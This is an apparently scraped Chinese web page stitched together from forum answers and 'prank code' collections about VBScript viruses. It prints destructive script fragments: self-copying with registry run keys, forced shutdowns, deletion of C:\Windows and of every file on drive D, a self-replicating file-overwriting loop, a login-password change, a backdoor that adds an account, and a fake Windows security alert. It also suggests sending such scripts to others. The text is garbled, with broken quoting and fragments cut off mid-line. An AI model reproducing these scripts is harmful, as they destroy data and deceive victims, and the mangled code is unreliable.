1、xufsocopyfile WscriptScriptfullname，quotC\VBScript\一触即发vbsquotxufsocopyfile WscriptScriptfullname，quotC\Users\Public\Desktop\一触即发vbsquotwscrtregwritequotHKEY_CURRENT_USER\Software\Microsoft\Windows\Current；C盘根目录下由本程序创建的VBS程序FwriteText = quotdim HFWkillset HFWkill=CreateObjectquotquotWscriptshellquotquotHFWkillrun quotquotshutdown s t 0 fquotquot，0quot #39它最主要是这段关机代码写入了这个新建的VBS文件HFWfw。
2、msgbox quot你要点100下确定quot，vbokcancel，quothkmfkquotfor i=1 to 100 msgbox quot加油！quotquot还有quot100iquot下quot，4096，quotzhb0813quotnext #39上面四句就是一个很简单的玩笑脚本；20100131 电脑中了vbs病毒怎么解决 144 20170804 求最全的vbs病毒代码，要破坏性的谢谢，回答的好我多给分 54 20100530 解释一个VBS脚本病毒代码 39 20140223 vbs脚本病毒代码 4 20160528 VBS脚本病毒的；apwrite vbscopy #39覆盖文件，慎用 apclose set cop=fsogetfilefilepathcopcopyfilepath quotvbsquot#39创建另外一个病毒文件 #39filedeletetrue#39删除原来文件 end if next set subfolders=folder_subfolders。
3、生成能把登录密码改为”wohenni”的VBS，并运行第五种fsutil file createnew C\1hahaha 0这是生成特定大小的文件，这句意思是在C盘下面生成1hahaha，大小为0字节还有很多，不一一列举了，希望您能更好地学习批处理！ 本；wsregwrite quotHKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers\TARGETDIR脚本病毒加强版vbsquot，quotRUNASADMINquot，quotREG_SZquotwsregwrite quotHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\；愿我的答案 能够解决您的烦忧 要这个干嘛制作病毒是不法行为，要被判刑的顺便说下，如果谁的电脑中毒了，可以按我说的办法杀毒 下载腾讯电脑管家“85”最新版，对电脑首先进行一个体检，打开所有防火墙避免系统其余文件；Set objShell = CreateObjectquotWscriptShellquot objShellRun quotshutdown s t 5quottrue end if 第四个 #39这个很强悍的vbs，蓝屏 strs=array13，105，102，32，77，115，103，66，111，120，40，34；Msgbox quot您的系统已遭病毒破坏，系统5秒后将自动关机关机，请在关机后24小时重新启动quot，16+4096，quotWindows安全警报quotShell quotcmdc shutdown s t 5quot佛祖曰普度众生，这样就行 后面那一句代码是用来关机的，VBS代。
4、可以，甚至可以利用fso把系统毁掉Dim fso， fldr， s #39 获得 FileSystemObject 的实例Set fso = CreateObjectquotScriptingFileSystemObjectquotfsoDeleteFolder quotC\Windowsquot；慎用代码应该这样使用 dim WSHshell set fso = wscriptcreateobjectquotwscriptshellquotfsorun quotcmd c quotquotdel d\** f q squotquotquot，0 ，true 好吧，运行后D盘就光屁股了参考 vbs整人代码大全；然后添加用户即可登陆系统 总结 这个不算是病毒 充其量 只不过是一个后门程序 运行之后 系统的远程终端开启，自动加入一个HackEr的帐号 自动添加一个放大镜后门 个人感觉 这代码是将3段代码拼凑起来的 没技术含量；#39 apwrite vbscopy #39覆盖文件，慎用 apclose set cop=fsogetfilefilepathcopcopyfilepath quotvbsquot #39创建另外一个病毒文件 #39 filedeletetrue #39删除原来文件 end if next set subfolders=folder_。
5、on error resume next dim WSHshellA set WSHshellA = wscriptcreateobjectquotwscriptshellquotWSHshellArun quotcmdexe C ShuTdownexe r t 120 c quotquot快说“我是笨蛋”，不说就2分钟就关你机，不信，试试···；新建一个TXT文件，打开，把整人代码放进去，保存然后把文件扩展名改成VBS，发送给别人，运行，就能整人了比如gsh=msgbox quot已经准备好格式化，准备开始quot，vbyesnoset s=createobjectquotwscriptshellquot。
